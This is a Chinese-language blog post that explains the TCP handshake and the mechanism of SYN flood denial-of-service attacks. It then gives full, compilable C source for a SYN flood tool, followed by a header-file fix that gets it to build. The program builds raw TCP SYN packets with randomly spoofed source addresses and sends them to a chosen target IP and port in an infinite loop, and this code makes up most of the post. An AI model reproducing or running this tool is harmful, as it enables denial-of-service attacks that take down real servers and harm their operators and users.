在理解SYN***之前我們首先來複習一下TCP的相關知識:
TCP的三次連接就是這樣的。
當成功建立連接的時候,服務端/客戶端雙方都會變更爲ESTABLISED狀態,但是對於服務端而言,還存在着一個狀態。叫做辦連接的狀態,也就是處於SYN_RCVD狀態,一直在等待客戶端發送連接ACK的確認返回。
如果發現有很多SYN_RCVD狀態,那你的機器有可能被SYN Flood的DoS(拒絕服務***)***了。 SYN Flood的***原理是: 在進行三次握手時,***軟件向被***的服務器發送SYN連接請求(握手的第一步),但是這個地址是僞造的,如***軟件隨機僞造了51.133.163.104、65.158.99.152等等地址。服務器在收到連接請求時將標誌位ACK和SYN置1發送給客戶端(握手的第二步),但是這些客戶端的IP地址都是僞造的,服務器根本找不到客戶機,也就是說握手的第三步不可能完成。 這種情況下服務器端一般會重試(再次發送SYN+ACK給客戶端)並等待一段時間後丟棄這個未完成的連接,這段時間的長度我們稱爲SYN Timeout,一般來說這個時間是分鐘的數量級(大約爲30秒-2分鐘);一個用戶出現異常導致服務器的一個線程等待1分鐘並不是什麼很大的問題,但如果有一個惡意的***者大量模擬這種情況,服務器端將爲了維護一個非常大的半連接列表而消耗非常多的資源----數以萬計的半連接,即使是簡單的保存並遍歷也會消耗非常多的CPU時間和內存,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。此時從正常客戶的角度看來,服務器失去響應,這種情況我們稱做:服務器端受到了SYN Flood***(SYN洪水***)
下面是源碼:
#include <stdio.h> #include <string.h> #include <time.h> #include <sys/types.h> #include <netinet/in.h> #include <asm/types.h> #include <linux/ip.h> #include <linux/tcp_new.h> #include <netdb.h> #include <sys/time.h> #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short checksum(unsigned short *buffer, int size); unsigned short random_port(unsigned short minport,unsigned short maxport); void random_ip(char *str); int main(int argc,char **argv){ int sockfd; struct sockaddr_in addr; //int dport; int on=1; if(argc!=3){ printf("usage: <command_name> <target_ip> <port>\n"); exit(1); } bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(atoi(argv[2])); inet_pton(AF_INET,argv[1],&addr.sin_addr); sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd<0){ printf("Socket error!\n"); exit(1); } setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); while(1){ send_tcp(sockfd,&addr); } return 0; } void send_tcp(int sockfd,struct sockaddr_in *addr){ char buff[100]; struct iphdr ip_header; struct tcphdr tcp_header; unsigned short source_port=random_port(1024,5000); char ip_str[50]; struct in_addr ip; random_ip(ip_str); if(inet_aton(ip_str,&ip)==0){ printf("inet_aton error!\n"); exit(1); } bzero(buff,100); ip_header.version=4; ip_header.ihl=5; ip_header.tos=0; ip_header.tot_len=sizeof(struct iphdr)+sizeof(struct tcphdr); ip_header.id=htons(random()); ip_header.frag_off=0; ip_header.ttl=30; ip_header.protocol=IPPROTO_TCP; ip_header.check=0; ip_header.saddr=ip.s_addr; ip_header.daddr=addr->sin_addr.s_addr; tcp_header.source=htons(source_port); tcp_header.dest=addr->sin_port; tcp_header.seq=rand(); tcp_header.doff=sizeof(struct tcphdr)/4; tcp_header.ack_seq=0; tcp_header.res1=0; tcp_header.fin=0; tcp_header.syn=1; tcp_header.rst=0; tcp_header.psh=0; tcp_header.ack=0; tcp_header.urg=0; tcp_header.window=htons(65535); tcp_header.check=0; tcp_header.urg_ptr=0; struct{ unsigned long saddr; unsigned long daddr; char mbz; char ptcl; unsigned short tcpl; }psd_header; psd_header.saddr=ip_header.saddr; psd_header.daddr=ip_header.daddr; psd_header.mbz=0; psd_header.ptcl=IPPROTO_TCP; psd_header.tcpl=htons(sizeof(struct tcphdr)); memcpy(buff,&psd_header,sizeof(psd_header)); memcpy(buff+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); tcp_header.check=checksum((unsigned short*)buff,sizeof(psd_header)+sizeof(tcp_header)); memcpy(buff,&ip_header,4*ip_header.ihl); memcpy(buff+4*ip_header.ihl,&tcp_header,sizeof(tcp_header)); ip_header.check=checksum((unsigned short*)buff,4*ip_header.ihl+sizeof(tcp_header)); sendto(sockfd,buff,sizeof(struct iphdr)+sizeof(struct tcphdr),0, (struct sockaddr*)addr,sizeof(struct sockaddr_in)); } unsigned short checksum(unsigned short *buffer, int size){ unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(unsigned short); } if(size ) cksum += *(unsigned char*)buffer; //..buffer..size..2...... cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (unsigned short)(~cksum); } unsigned short random_port(unsigned short minport,unsigned short maxport){ srand((unsigned)time(NULL)); return(getrandom(minport,maxport)); } void random_ip(char *str){ int a,b,c,d,i=0; static long j=0; srand((unsigned)time(NULL)+(i++)+(j++)); a=getrandom(0,255); srand((unsigned)time(NULL)+(i++)+(j++)); b=getrandom(0,255); srand((unsigned)time(NULL)+(i++)+(j++)); c=getrandom(0,255); srand((unsigned)time(NULL)+(i++)+(j++)); d=getrandom(0,255); sprintf(str,"%d.%d.%d.%d",a,b,c,d); printf("%s\n",str); }
//缺少。 enum { TCP_FLAG_CWR = htonl(0x00800000) TCP_FLAG_ECE = htonl(0x00400000), TCP_FLAG_URG = htonl(0x00200000), TCP_FLAG_ACK = htonl(0x00100000), TCP_FLAG_PSH = htonl(0x00080000), TCP_FLAG_RST = htonl(0x00040000), TCP_FLAG_SYN = htonl(0x00020000), TCP_FLAG_FIN = htonl(0x00010000), TCP_RESERVED_BITS = htonl(0x0FC000000), TCP_DATA_OFFSET = htonl(0xF0000000) }; 解決辦法:將tcp.h的內容拷貝到另一個新建的文件tcp_new.h中,在新文件中去掉上面幾行代碼中的htonl,在自己的文件中用#include <linux/tcp_new.h>代替#include <linux/tcp.h>即可。
以上